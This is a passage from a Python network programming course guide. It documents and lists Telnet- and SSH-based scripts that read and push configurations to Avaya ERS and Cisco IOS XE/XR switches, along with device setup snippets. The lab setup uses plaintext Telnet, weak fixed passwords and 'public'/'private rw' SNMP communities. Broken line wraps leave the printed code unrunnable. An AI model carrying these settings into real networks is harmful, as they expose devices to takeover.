- Running it inside the Python interpreter, after importing it: import


AvayaERSConnect

- IP connectivity from the host / virtual machine to the Avaya ERS device(s)

- Mandatory: Telnet connectivity should be enabled on each device, using


the cli password telnet local command, in the Global Configuration mode.

Page 108 of 185


109 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

Default Avaya credentials for read and write via Telnet are: username: RW ,
password: securepasswd

Supported Avaya ERS platforms:

- Avaya ERS 25xx (all models)

- Avaya ERS 35xx (all models)

- Avaya ERS 45xx (all models)

- Avaya ERS 48xx (all models)

- Avaya ERS 55xx (all models)

- Avaya ERS 56xx (all models)

- Avaya ERS 59xx (all models)

AvayaERSConnect usable functions:

- ReadConfig(ip, username, password, show_command, to_file = True,


to_screen = False)

- SendConfig(ip, cmd_file, username, password, save_config = True)

- SendConfigToMultiDev(username, password, save_config = True)

ReadConfig()
The ReadConfig() function in AvayaERSConnect is responsible for connecting to an
Avaya device via Telnet, sending a show command that the user specifies as an
argument and capturing and storing the output of that command. This command should
be invoked in the Python interpreter, after importing the AvayaERSConfig module.

Page 109 of 185


110 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

The format:

ReadConfig(ip, username, password, show_command, to_file = True, to_screen =


False)

Note: Please follow the exact order of arguments (as shown above) when calling the
function!

Example:

>>> import AvayaERSConnect

>>> AvayaERSConnect.ReadConfig("172.16.1.1", "RW", "securepasswd", "show vlan",


to_file = True, to_screen = False)

Output was written to SwitchOne_show_vlan.txt.

Main features and requirements for ReadConfig():

- Prepend the function name with AvayaERSConnect. when calling it.

- The first argument is the IP address of the device you want to read from, in
between double quotes.

- The second argument is the Telnet username for logging into the device.
This will be RW if you leave it at default. cli password telnet local should be
configured on the device, prior to running the ReadConfig() function.

- The third argument is the Telnet password for logging into the device. This
will be securepasswd if you leave it at default. cli password telnet local
should be configured on the device, prior to running the ReadConfig() function.

Page 110 of 185


111 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

- The fourth argument is the show command you want to send to the device.

- The to_file argument can be set to either True or False.

- The to_screen argument can be set to either True or False. When set to
True, the command output is printed on the screen, in the Python interpreter.

- If both to_file and to_screen are set to True, the output will be both stored
in an external file and printed to the screen. If both are set to False, nothing
happens.

Writing the output to a file using the to_file argument:

- If you set to_file = False, the output is not saved to a file.

- If you set to_file = True, then the output of the show command is stored
inside a file in the current directory, which is going to be automatically named
following this format: Hostname_Command.txt. This is useful when querying
multiple devices, one by one.

Example:

SwitchOne(config)#cli password telnet local

>>> import AvayaERSConnect

>>> AvayaERSConnect.ReadConfig("172.16.1.1", "RW", "securepasswd", "show vlan",


to_file = True, to_screen = False)

Output was written to SwitchOne_show_vlan.txt.

Page 111 of 185


112 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

root@kali:/home# cat SwitchOne_show_vlan.txt

Id Name Type Protocol PID Active IVL/SVL Mgmt

---- -------------------- -------- ---------------- ------- ------ ------- ----

1 VLAN #1 Port None 0x0000 Yes IVL Yes

Port Members: ALL

2 VLAN #2 Port None 0x0000 Yes IVL No

Port Members: NONE

3 VLAN #3 Port None 0x0000 Yes IVL No

Port Members: NONE

4 VLAN #4 Protocol Ipv6 Ether2 0x86dd Yes IVL No

Port Members: NONE

55 VLAN #55 Port None 0x0000 Yes IVL No

Port Members: NONE

77 VLAN #77 Port None 0x0000 Yes IVL No

Port Members: NONE

The ReadConfig() function returns a customized error message and quits


execution if:

- Invalid commands are sent to the device

- Incorrect device IP address, username or password are used

- The device IP address is unreachable

- The user types the Ctrl+C sequence

Page 112 of 185


113 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

SendConfig()
The SendConfig() function in AvayaERSConnect is responsible for connecting to an
Avaya device via Telnet, sending configuration commands stored in an external text file,
each specified one per line. In the function call, you can also specify whether you want
the configuration you just made to be saved to the devices NVRAM. This command
should be invoked in the Python interpreter, after importing the AvayaERSConfig module.

The format:

SendConfig(ip, cmd_file, username, password, save_config = True)

Note: Please follow the exact order of arguments (as shown above) when calling the
function!

Example:

SwitchOne(config)#show vlan

Id Name Type Protocol PID Active IVL/SVL Mgmt

---- -------------------- -------- ---------------- ------- ------ ------- ----

1 VLAN #1 Port None 0x0000 Yes IVL Yes

Port Members: ALL

Total VLANs: 1

root@kali:/home# cat avayatestcmd.txt

vlan create 100 type port

vlan create 101 type proto

Page 113 of 185


114 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

vlan create 102 type port

>>> import AvayaERSConnect

>>> AvayaERSConnect.SendConfig("172.16.1.1", "avayatestcmd.txt", "RW",


"securepasswd", save_config = True)

Configuration was saved to NVRAM.

SwitchOne(config)#show vlan

Id Name Type Protocol PID Active IVL/SVL Mgmt

---- -------------------- -------- ---------------- ------- ------ ------- ----

1 VLAN #1 Port None 0x0000 Yes IVL Yes

Port Members: ALL

100 VLAN #100 Port None 0x0000 Yes IVL No

Port Members: NONE

101 VLAN #101 Protocol Ipv6 Ether2 0x86dd Yes IVL No

Port Members: NONE

102 VLAN #102 Port None 0x0000 Yes IVL No

Port Members: NONE

Total VLANs: 4

Main features and requirements for SendConfig():

- Prepend the function name with AvayaERSConnect. when calling it.

- The first argument is the IP address of the device you want to write
commands to, in between double quotes.

Page 114 of 185


115 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

- The second argument is the filename (+ extension) in which the


configuration commands are stored, in between double quotes.

- The third argument is the Telnet username for logging into the device. This
will be RW if you leave it at default. cli password telnet local should be
configured on the device, prior to running the SendConfig() function.

- The fourth argument is the Telnet password for logging into the device. This
will be securepasswd if you leave it at default. cli password telnet local
should be configured on the device, prior to running the SendConfig() function.

- The save_config argument can be set to either True or False.

Saving the configuration to NVRAM (configuration is kept across reboot, when


autosave is disabled on the device) using the save_config argument:

- If you set save_config = False, the configuration is not saved to NVRAM


(the configuration may be lost across reboot, if autosave is disabled on the device).

- If you set save_config = True, the configuration is saved to NVRAM.

The SendConfig() function returns a customized error message and quits


execution if:

- Telnet login timeout expires (connectivity / network lag / delay issues)

- Incorrect device IP addresses, username or password are used

- Invalid filename or inexistent file containing the commands

- The device IP address is unreachable

- The user types the Ctrl+C sequence

Page 115 of 185


116 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

SendConfigToMultiDev()

The SendConfigToMultiDev() function in AvayaERSConnect is responsible for


connecting to multiple Avaya devices simultaneously via Telnet, sending configuration
commands stored in an external text file, specified one per line. In the function call, you
can also specify whether you want the configuration you just made to be saved to the
devices NVRAM or not. This command should be invoked in the Python interpreter, after
importing the AvayaERSConfig module.

This function uses threading for initiating multiple concurrent sessions to multiple Avaya
ERS IP addresses, specified inside an external, dedicated file.

The format:

SendConfigToMultiDev(username, password, save_config = True)

Note: Please follow the exact order of arguments (as shown above) when calling the
function!

Example:

Lets consider three Avaya ERS 35xx switches [IPs: 10.105.62.23, 10.105.62.24,
10.105.62.25]:

2.3#show vlan

Id Name Type Protocol PID Active IVL/SVL Mgmt

---- -------------------- -------- ---------------- ------- ------ ------- ----

1 VLAN #1 Port None 0x0000 Yes IVL Yes

Page 116 of 185


117 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

Port Members: 1/ALL,2/ALL

Total VLANs: 1

2.4#show vlan

Id Name Type Protocol PID Active IVL/SVL Mgmt

---- -------------------- -------- ---------------- ------- ------ ------- ----

1 VLAN #1 Port None 0x0000 Yes IVL Yes

Port Members: ALL

Total VLANs: 1

2.5#show vlan

Id Name Type Protocol PID Active IVL/SVL Mgmt

---- -------------------- -------- ---------------- ------- ------ ------- ----

1 VLAN #1 Port None 0x0000 Yes IVL Yes

Port Members: ALL

Total VLANs: 1

Lets create the files we need: one holding the IP addresses and one holding the
commands.

root@kali:/home# cat avayamultiip.txt

10.105.62.23

10.105.62.24

10.105.62.25

Page 117 of 185


118 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

root@kali-teo:/home# cat avayamulticmd.txt

vlan create 77 type port

vlan create 88 type port

vlan create 99 type port

Lets run the function in the Python interpreter.

>>> import AvayaERSConnect

>>> AvayaERSConnect.SendConfigToMultiDev("RW", "securepasswd", save_config =


True)

Enter IP file name and extension: avayamultiip.txt

Checking IP reachability...

All devices are reachable. Waiting for command file...

Enter command file name and extension: avayamulticmd.txt

Commands file was found.

Configuration was saved to NVRAM.

Configuration was saved to NVRAM.

Configuration was saved to NVRAM.

Page 118 of 185


119 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

Lets verify the configuration on the three switches - vlans 77, 88, 99 should have been
configured.

2.3#show vlan

Id Name Type Protocol PID Active IVL/SVL Mgmt

---- -------------------- -------- ---------------- ------- ------ ------- ----

1 VLAN #1 Port None 0x0000 Yes IVL Yes

Port Members: 1/ALL,2/ALL

77 VLAN #77 Port None 0x0000 Yes IVL No

Port Members: NONE

88 VLAN #88 Port None 0x0000 Yes IVL No

Port Members: NONE

99 VLAN #99 Port None 0x0000 Yes IVL No

Port Members: NONE

Total VLANs: 4

2.4#show vlan

Id Name Type Protocol PID Active IVL/SVL Mgmt

---- -------------------- -------- ---------------- ------- ------ ------- ----

1 VLAN #1 Port None 0x0000 Yes IVL Yes

Port Members: ALL

77 VLAN #77 Port None 0x0000 Yes IVL No

Port Members: NONE

88 VLAN #88 Port None 0x0000 Yes IVL No

Page 119 of 185


120 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

Port Members: NONE

99 VLAN #99 Port None 0x0000 Yes IVL No

Port Members: NONE

Total VLANs: 4

2.5#show vlan

Id Name Type Protocol PID Active IVL/SVL Mgmt

---- -------------------- -------- ---------------- ------- ------ ------- ----

1 VLAN #1 Port None 0x0000 Yes IVL Yes

Port Members: ALL

77 VLAN #77 Port None 0x0000 Yes IVL No

Port Members: NONE

88 VLAN #88 Port None 0x0000 Yes IVL No

Port Members: NONE

99 VLAN #99 Port None 0x0000 Yes IVL No

Port Members: NONE

Total VLANs: 4

Main features and requirements for SendConfigToMultiDev():

- Prepend the function name with AvayaERSConnect. when calling it.

- The first argument is the Telnet username for logging into the device. This
will be RW if you leave it at default. cli password telnet local should be
configured on the device, prior to running the SendConfigToMultiDev() function.

- The second argument is the Telnet password for logging into the device.
This will be securepasswd if you leave it at default. cli password telnet local
should be configured on the device, prior to running the SendConfigToMultiDev()
Page 120 of 185
121 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

function.

- The save_config argument can be set to either True or False.

- Other necessary arguments are automatically picked up by calling the


SendConfig() function from within the SaveConfigToMultiDev() function.

Saving the configuration to NVRAM (configuration is kept across reboot, when


autosave is disabled on the device) using the save_config argument:

- If you set save_config = False, the configuration is not saved to NVRAM


(the configuration may be lost across reboot, if autosave is disabled on the device).

- If you set save_config = True, the configuration is saved to NVRAM.

The SendConfigToMultiDev() function returns a customized error message and


quits execution if:

- Telnet login timeout expires (connectivity issue)

- Incorrect device IP addresses, username or password are used

- Invalid filename or inexistent file containing the commands

- The device IP address is unreachable

- The user types the Ctrl+C sequence

Note: Other functions in the AvayaERSConnect.py file take care of checking IP format
validity, IP reachability and commands file path corectness. These functions are not to be
used directly in the Python interpreter.

Page 121 of 185


122 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.5.2.2. The AvayaERSConnect code

#!/usr/bin/env python

###AVAYA TELNETTING###

#Importing the necessary modules


import telnetlib
import subprocess
import threading
import os.path
import logging
import time
import sys
import re

#Checking IP address validity


def IpIsValidReach():
check = False
global ip_list

while True:
#Prompting user for input
ip_file = raw_input("Enter IP file name and extension: ")

#Changing exception message


try:
#Open user selected file for reading (IP addresses file)
selected_ip_file = open(ip_file, 'r')

#Starting from the beginning of the file


selected_ip_file.seek(0)

#Reading each line (IP address) in the file


ip_list = selected_ip_file.readlines()

#Closing the file


selected_ip_file.close()

except IOError:
print "\nFile %s does not exist! Please check and try
again!\n" % ip_file

#Checking octets
for ip in ip_list:
a = ip.split('.')

Page 122 of 185


123 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

if (len(a) == 4) and (1 <= int(a[0]) <= 223) and (int(a[0]) !=


127) and (int(a[0]) != 169 or int(a[1]) != 254) and (0 <= int(a[1]) <= 255
and 0 <= int(a[2]) <= 255 and 0 <= int(a[3]) <= 255):
check = True
break

else:
print '\n* There was an INVALID IP address! Please check
and try again!\n'
check = False
continue

#Evaluating the 'check' flag


if check == False:
continue

elif check == True:


break

#Checking IP reachability
print "\nChecking IP reachability...\n"

check2 = False

while True:
for ip in ip_list:
ping_reply = subprocess.call(['ping', '-c', '3', '-w', '3', '-
q', '-n', ip], stdout = subprocess.PIPE)

if ping_reply == 0:
check2 = True
continue

elif ping_reply == 2:
print "\nNo response from device %s." % ip
check2 = False
break

else:
print "\nPing to the following device has FAILED:", ip
check2 = False
break

#Evaluating the 'check' flag


if check2 == False:
print "Please re-check IP address list or device.\n"
IpIsValidReach()

elif check2 == True:


print '\nAll devices are reachable. Waiting for command
file...\n'
break

#Checking command file validity

Page 123 of 185


124 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

def CommandFileExists():
global cmd_file

while True:
cmd_file = raw_input("Enter command file name and extension: ")

#Changing exception message


if os.path.isfile(cmd_file) == True:
print "\nCommands file was found.\n"
break

else:
print "\nFile %s does not exist! Please check and try
again!\n" % cmd_file
continue

#Open telnet connection to devices and send "show" commands + save to


NVRAM option
def ReadConfig(ip, username, password, show_command, to_file = True,
to_screen = False):
#Change exception message
try:
#Specify the Telnet port (default is 23, anyway)
port = 23

#Specify the connection timeout in seconds for blocking


operations, like the connection attempt
connection_timeout = 5

#Specify a timeout in seconds. Read until the string is found or


until the timout has passed
reading_timeout = 5

###DEBUG CODE
#print ip
#print username
#print password

#Logging into device


connection = telnetlib.Telnet(ip, port, connection_timeout)
time.sleep(1)

#Sending CTRL+Y to get the prompt


connection.write("\x19")
time.sleep(1)

#Waiting to be asked for an username


router_output = connection.read_until("Enter Username:",
reading_timeout)
#Enter the username when asked and a "\n" for Enter
connection.write(username + "\n")
time.sleep(1)

Page 124 of 185


125 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Waiting to be asked for a password


router_output = connection.read_until("Enter Password:",
reading_timeout)
#Enter the password when asked and a "\n" for Enter
connection.write(password + "\n")
time.sleep(1)

#Setting terminal length for the entire output - disabling


pagination
#Useful for reading output
connection.write("terminal length 0\n")
time.sleep(1)

#Setting terminal width for broader output


#Useful for reading output
connection.write("terminal width 132\n")
time.sleep(1)

#Sending "show" command


connection.write("\n")
connection.write(show_command + "\n")
time.sleep(25) #Setting 25 seconds delay for longer outputs,
like in the case of "show tech"

#Reading command output


router_output = connection.read_very_eager()

###DEBUG CODE
#print to_file
#print to_screen
#print router_output

#Getting device hostname from output, for naming the file to which
to save the output
hostname_regex = re.search(r"(.+?)#show ", router_output)
hostname = hostname_regex.group(1)

###DEBUG CODE
#print hostname_regex
#print hostname

#Formatting output to eliminate lines containing the prompt -


splitting the string by '\n'
#Each time, the first 5 lines (indexes 0-4) are the ones we don't
want, so they should be eliminated
#Also, the prompt is returned once again at the end of the output,
so we should eliminate that, too
#This means eliminating the final line as well (index -1)
nice_router_output = '\n'.join(router_output.split('\n')[5:-1])
#print nice_router_output

#Handling invalid commands by searching the output for this


string: "'^' marker"

Page 125 of 185


126 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

if "'^' marker" in nice_router_output:


print "\nInvalid command sent to the device. Please try
again.\n"
sys.exit()

#Handling the to_file parameter


if to_file == True:
with open(hostname + '_' + show_command.replace(' ', '_') +
'.txt', 'w+') as f:
f.write(nice_router_output)
print "\nOutput was written to %s." % (hostname + '_' +
show_command.replace(' ', '_') + '.txt')
print "\n"

elif to_file == False:


pass

#Handling the to_screen parameter


if to_screen == True:
print nice_router_output

elif to_screen == False:


pass

##### resolve with first two functions in file


##### resolve with sendmultidev()

#Closing the connection


connection.close()

except IOError:
print "\nInput parameter error! Please check destination IP,
username and password.\n"
sys.exit()

except AttributeError:
print "\nInput parameter error! Please check destination IP,
username and password.\n"
sys.exit()

except KeyboardInterrupt:
print "\nProgram aborted by user. Exiting...\n"
sys.exit()

#Open telnet connection to devices and send config commands + save to


NVRAM option
def SendConfig(ip, cmd_file, username, password, save_config = True):
#Change exception message
try:
#Specify the Telnet port (default is 23, anyway)
port = 23

Page 126 of 185


127 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Specify the connection timeout in seconds for blocking


operations, like the connection attempt
connection_timeout = 5

#Specify a timeout in seconds. Read until the string is found or


until the timout has passed
reading_timeout = 5

###DEBUG CODE
#print ip
#print username
#print password

#Logging into device


connection = telnetlib.Telnet(ip, port, connection_timeout)
time.sleep(1)

#Sending CTRL+Y to get the prompt


connection.write("\x19")
time.sleep(1)

#Waiting to be asked for an username


router_output = connection.read_until("Enter Username:",
reading_timeout)
#Enter the username when asked and a "\n" for Enter
connection.write(username + "\n")
time.sleep(1)

#Waiting to be asked for a password


router_output = connection.read_until("Enter Password:",
reading_timeout)
#Enter the password when asked and a "\n" for Enter
connection.write(password + "\n")
time.sleep(1)

#Verifying if the credentials are correct and properly sent to the


device
router_output = connection.read_very_eager()

if "Incorrect Credentials" in router_output:


print "\nIncorrect Credentials. Please check username and
password.\n"
sys.exit()

elif "Telnet Login Timer Expired" in router_output:


print "\nTelnet Login Timer Expired. Please check the
connection.\n"
sys.exit()

else:
pass

#If credentials were correct -> Entering global config mode


connection.write("\n")

Page 127 of 185


128 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

connection.write("configure terminal\n")
time.sleep(1)

#Checking if the command(s) file exists (in the current directory


when you enter just the file name, without a full path)
if os.path.isfile(cmd_file) == True:
#Open user selected file for reading
selected_cmd_file = open(cmd_file, 'r')

#Starting from the beginning of the file


selected_cmd_file.seek(0)

#Writing each line in the file to the device


for each_line in selected_cmd_file.readlines():
#print each_line
connection.write(each_line + '\n')
time.sleep(1)

#Closing the file


selected_cmd_file.close()

else:
print "\nFile %s does not exist! Please check filename or path
and try again.\n" % cmd_file
sys.exit()

###DEBUG CODE
#Test for reading command output
#router_output = connection.read_very_eager()
#print router_output

if save_config == True:
#Saving the config to NVRAM
connection.write("\n")
connection.write("copy config nvram\n")
time.sleep(5)
print "\nConfiguration was saved to NVRAM.\n"

elif save_config == False:


print "\nConfiguration was not saved.\n"
pass

#Closing the connection


connection.close()

except IOError:
print "\nInput parameter error! Please check destination IP,
username and password.\n"

except KeyboardInterrupt:
print "\n\nProgram aborted by user. Exiting...\n"
sys.exit()

Page 128 of 185


129 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

#Creating threads
def SendConfigToMultiDev(username, password, save_config = True):
IpIsValidReach()
CommandFileExists()

threads = []
for ip in ip_list:
th = threading.Thread(target = SendConfig, args = (ip, cmd_file,
username, password, save_config)) #'args' is a tuple
th.start()
threads.append(th)

for th in threads:
th.join()

#This code will NOT be executed at import


if __name__ == "__main__":

#Change exception message


try:
#Calling IP validity function
IpIsValidReach()

except KeyboardInterrupt:
print "\n\nProgram aborted by user. Exiting...\n"
sys.exit()

#Change exception message


try:
#Calling command file validity function
CommandFileExists()

except KeyboardInterrupt:
print "\n\nProgram aborted by user. Exiting...\n"
sys.exit()

#Calling threads creation function


SendConfigToMultiDev()

#End of program

Page 129 of 185


130 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.5.3. Avaya ERS Operations - Using An Interactive Script

#Importing the necessary module


import AvayaERSConnect

#User menu
print '\nPlease choose an action:\n\n1 - Read command output from a
device\n2 - Send config commands from a file to a device\n3 - Send config
commands from a file to multiple devices\n'

user_choice = raw_input('\nEnter your choice: ')

#Defining actions based on user input


if user_choice == '1':
#Asking the user for input
ip = raw_input('\nEnter the device IP address: ')

username = raw_input('\nEnter username for Telnet connection: ')

password = raw_input('\nEnter password for Telnet connection: ')

show_command = raw_input('\nEnter command to send: ')

save = raw_input('\nSave output to file? (y/n) ')

screen = raw_input('\nPrint output to screen? (y/n) ')

if save == 'y':
to_file = True

elif save == 'n':


to_file = False

if screen == 'y':
to_screen = True

elif screen == 'n':


to_screen = False

print '\n'

AvayaERSConnect.ReadConfig(ip, username, password, show_command,


to_file = to_file, to_screen = to_screen)

elif user_choice == '2':


#Asking the user for input
ip = raw_input('\nEnter the device IP address: ')

cmd_file = raw_input('\nEnter filename and extension: ')

username = raw_input('\nEnter username for Telnet connection: ')

Page 130 of 185


131 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

password = raw_input('\nEnter password for Telnet connection: ')

save = raw_input('\nSave config to device NVRAM? (y/n) ')

if save == 'y':
save_config = True

elif save == 'n':


save_config = False

print '\n'

AvayaERSConnect.SendConfig(ip, cmd_file, username, password,


save_config = True)

elif user_choice == '3':


#Asking the user for input
username = raw_input('\nEnter username for Telnet connection: ')

password = raw_input('\nEnter password for Telnet connection: ')

save = raw_input('\nSave config to device NVRAM? (y/n) ')

if save == 'y':
save_config = True

elif save == 'n':


save_config = False

print '\n'

AvayaERSConnect.SendConfigToMultiDev(username, password, save_config


= True)

#End Of Program

Page 131 of 185


132 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.6.1. Configuring IP, Remote Access & SNMP Cisco IOS XE


(full code, reference: Section 12. Bonus #1. Cisco Network Programming (IOS XE))

To allow remote access to your Cisco IOS XE device, you must enter the configuration
below.

Please note that some versions of Cisco IOS XE do not support SSH, so you should
make sure you have a SSH-compatible IOS XE version. According to cisco.com: "The
Cisco IOS image used must be a k9(crypto) image in order to support SSH. For example
c3750e-universalk9-tar.122-35.SE5.tar is a k9 (crypto) image."

Here is the configuration you have to make in order to allow remote access. Please enter
Global Configuration mode (#configure terminal) before pasting this configuration.

So, to configure an IP address, SSHv2 and SNMP use this configuration:

IP Configuration:

enable

configure terminal

interface GigabitEthernet 1

ip address 172.16.1.9 255.255.255.0

no shutdown

SSHv2 Configuration:

username mihai privilege 15 password python

hostname IOS-XE

Page 132 of 185


133 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

line vty 0 4

privilege level 15

login local

transport input telnet ssh

exit

enable secret python

ip domain-name mihai

ip ssh version 2

ip ssh time-out 60

ip ssh authentication-retries 3

!When asked How many bits in the modulus [512]: enter 1024

crypto key generate rsa

1024

SNMP Configuration:

snmp-server community public ro

snmp-server community private rw

snmp-server enable traps

Page 133 of 185


134 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

Checking Configuration:

show ip interface brief

show ip ssh

show snmp

Saving Configuration:

copy run start

Saving Configuration to a TFTP Server:

copy system:running-config tftp://172.16.1.1/ciscoxe_cfg

Note! Depending on the hardware and software you are using in your network, some
commands, command options or command outputs may be slightly different.

Page 134 of 185


135 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.6.2. Reading Command Output - Cisco IOS XE

#Importing the necessary module(s)


from netmiko import ConnectHandler
import time

#User menu
print '\nPlease choose an action:\n\n1 - Read command output from a single
device\n2 - Read command output from multiple devices\n'

user_choice = raw_input('\nEnter your choice: ')

#Defining actions based on user input


if user_choice == '1':
#Asking the user for input
ip = raw_input('\nEnter the device IP address: ')

username = raw_input('\nEnter username for SSHv2 connection: ')

password = raw_input('\nEnter password for SSHv2 connection: ')

command = raw_input('\nEnter command to send: ')

print '\n'

session = ConnectHandler(device_type = 'cisco_xe', ip = ip, username


= username, password = password)

time.sleep(1)

session_output = session.send_command(command)

time.sleep(1)

print '\nNow what?\n\n1 - Print the output to the screen\n2 - Save


the output to a file\n'

user_choice = raw_input('\nEnter your choice: ')

if user_choice == '1':
print session_output

elif user_choice == '2':


filename = raw_input('\nPlease name your file. Example:
/home/ubuntu/xe1.txt: ')

#Printing the output to a text file.


with open(filename, 'a') as f:
f.write(session_output)

print "\nDone! Check out %s to see the results.\n" % filename

Page 135 of 185


136 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

elif user_choice == '2':


#Asking the user for input
ip = raw_input('\nEnter the device IP addresses separated by comma:
')

username = raw_input('\nEnter username for SSHv2 connection: ')

password = raw_input('\nEnter password for SSHv2 connection: ')

command = raw_input('\nEnter command to send: ')

#Storing the device IP addresses as a list


dev_list = ip.split(',')
#print dev_list

print '\nNow what?\n\n1 - Print the output to the screen\n2 - Save


the output to a file\n'

user_choice = raw_input('\nEnter your choice: ')

if user_choice == '1':
for ip in dev_list:
#Running the code for each device specified by the user
session = ConnectHandler(device_type = 'cisco_xe', ip =
ip, username = username, password = password)

time.sleep(1)

session_output = session.send_command(command)

time.sleep(1)

#Printing the output to the screen


print '\n' + session_output + '\n'

elif user_choice == '2':


filename = raw_input('\nPlease name your file. Example:
/home/ubuntu/xe1.txt: ')

for ip in dev_list:
#Running the code for each device specified by the user
session = ConnectHandler(device_type = 'cisco_xe', ip =
ip, username = username, password = password)

time.sleep(1)

session_output = session.send_command(command)

time.sleep(1)

#Printing the output to a text file.


with open(filename, 'a') as f:
f.write('\n' + session_output + '\n')

Page 136 of 185


137 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

print "\nDone! Check out %s to see the results.\n" % filename

#For using this application on other networking vendors, just replace


device_type = 'cisco_xe' with any of the following:
#device_type = 'cisco_ios'
#device_type = 'juniper'
#device_type = 'arista_eos'

#End of Program

3.6.3. Configuring Devices - Cisco IOS XE

#Importing the necessary module(s)


from netmiko import ConnectHandler
import sys

#User menu
print '\nMake sure you have an username and password and SSHv2 enabled on
the device(s)'

print '\nPlease choose an action:\n\n1 - Send config commands to a single


IOS XE device\n2 - Send config commands to multiple IOS XE devices\n3 -
Send config commands from a file to a single IOS XE device\n4 - Send
config commands from a file to multiple IOS XE devices\n'

user_choice = raw_input('\nEnter your choice: ')

#Defining actions based on user input


if user_choice == '1':
#Asking the user for input
ip = raw_input('\nEnter the device IP address: ')

username = raw_input('\nEnter username for SSHv2 connection: ')

password = raw_input('\nEnter password for SSHv2 connection: ')

commands = raw_input('\nEnter commands to send separated by comma:


')

print '\n'

session = ConnectHandler(device_type = 'cisco_xe', ip = ip, username


= username, password = password)

session_output = session.send_config_set(commands.split(','))

Page 137 of 185


138 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

print "\nDone! Check out %s to see the results.\n" % ip

elif user_choice == '2':


#Asking the user for input
ip = raw_input('\nEnter the device IP addresses separated by comma:
')

username = raw_input('\nEnter username for SSHv2 connection: ')

password = raw_input('\nEnter password for SSHv2 connection: ')

commands = raw_input('\nEnter commands to send separated by comma:


')

print '\n'

for ip in ip.split(','):

session = ConnectHandler(device_type = 'cisco_xe', ip = ip,


username = username, password = password)

session_output = session.send_config_set(commands.split(','))

print "\nDone! Check out %s to see the results.\n" % ip

elif user_choice == '3':


#Asking the user for input
ip = raw_input('\nEnter the device IP address: ')

username = raw_input('\nEnter username for SSHv2 connection: ')

password = raw_input('\nEnter password for SSHv2 connection: ')

commands_file = raw_input('\nEnter the filename. Example:


/home/ubuntu/cmd.txt: ')

print '\n'

session = ConnectHandler(device_type = 'cisco_xe', ip = ip, username


= username, password = password)

session_output = session.send_config_from_file(commands_file)

print "\nDone! Check out %s to see the results.\n" % ip

elif user_choice == '4':


#Asking the user for input
ip = raw_input('\nEnter the device IP addresses separated by comma:
')

username = raw_input('\nEnter username for SSHv2 connection: ')

password = raw_input('\nEnter password for SSHv2 connection: ')

Page 138 of 185


139 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

commands_file = raw_input('\nEnter the filename. Example:


/home/ubuntu/cmd.txt: ')

print '\n'

for ip in ip.split(','):

session = ConnectHandler(device_type = 'cisco_xe', ip = ip,


username = username, password = password)

session_output = session.send_config_from_file(commands_file)

print "\nDone! Check out %s to see the results.\n" % ip

else:
print "\nInvalid input. Exiting...\n"
sys.exit()

#For using this application on other networking vendors, just replace


device_type = 'cisco_xe' with any of the following:
#device_type = 'cisco_ios'
#device_type = 'juniper'
#device_type = 'arista_eos'

#End of Program

Page 139 of 185


140 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

3.7.1. Configuring IP, Remote Access & SNMP Cisco IOS XR


(full code, reference: Section 13. Bonus #2. Cisco Network Programming (IOS XR))

To allow remote access to your Cisco IOS XR device, you must enter the configuration
below.

Please note that some versions of Cisco IOS XR do not support SSH, so you should
make sure you have a SSH-compatible IOS XR version. According to cisco.com: "The
Cisco IOS image used must be a k9(crypto) image in order to support SSH. For example
c3750e-universalk9-tar.122-35.SE5.tar is a k9 (crypto) image."

Please note that when using the Cisco IOS XR VM (Cisco IOS XRv), you set
the username and password after the first boot, at an interactive prompt. That prompt is
where you should enter your remote login credentials, the ones to use when connecting
via SSHv2 (username: mihai , password: python - as used throughout this course, or
your own credentials).

Here is the configuration you have to make in order to allow remote access. Please enter
Global Configuration mode (#configure terminal) before pasting this configuration.

So, to configure an IP address, SSHv2 and SNMP use this configuration:

IP Configuration:

enable

configure terminal

interface GigabitEthernet 0/0/0/0

ipv4 address 172.16.1.8 255.255.255.0

no shutdown

Page 140 of 185


141 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

SSHv2 Configuration:

[username mihai2016 password python2016] - if you want to create additional users

hostname IOS-XR

line console

transport input telnet ssh

exit

domain name mihai

ssh server v2

crypto key generate rsa

1024

SNMP Configuration:

snmp-server community public ro

snmp-server community private rw

Checking Configuration:

show ip interface brief

show ip ssh

Page 141 of 185


142 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

show snmp

Saving Configuration:

RP/0/0/CPU0:IOS-XR(config)#commit

RP/0/0/CPU0:IOS-XR#copy running-config nvram:

Saving Configuration to a TFTP Server:

RP/0/0/CPU0:IOS-XR#copy running-config tftp://172.16.1.1/ciscoxr_cfg

Note! Depending on the hardware and software you are using in your network, some
commands, command options or command outputs may be slightly different.

Page 142 of 185


143 Python Network Programming Course Applications Guide by Mihai Ctlin Teodosiu

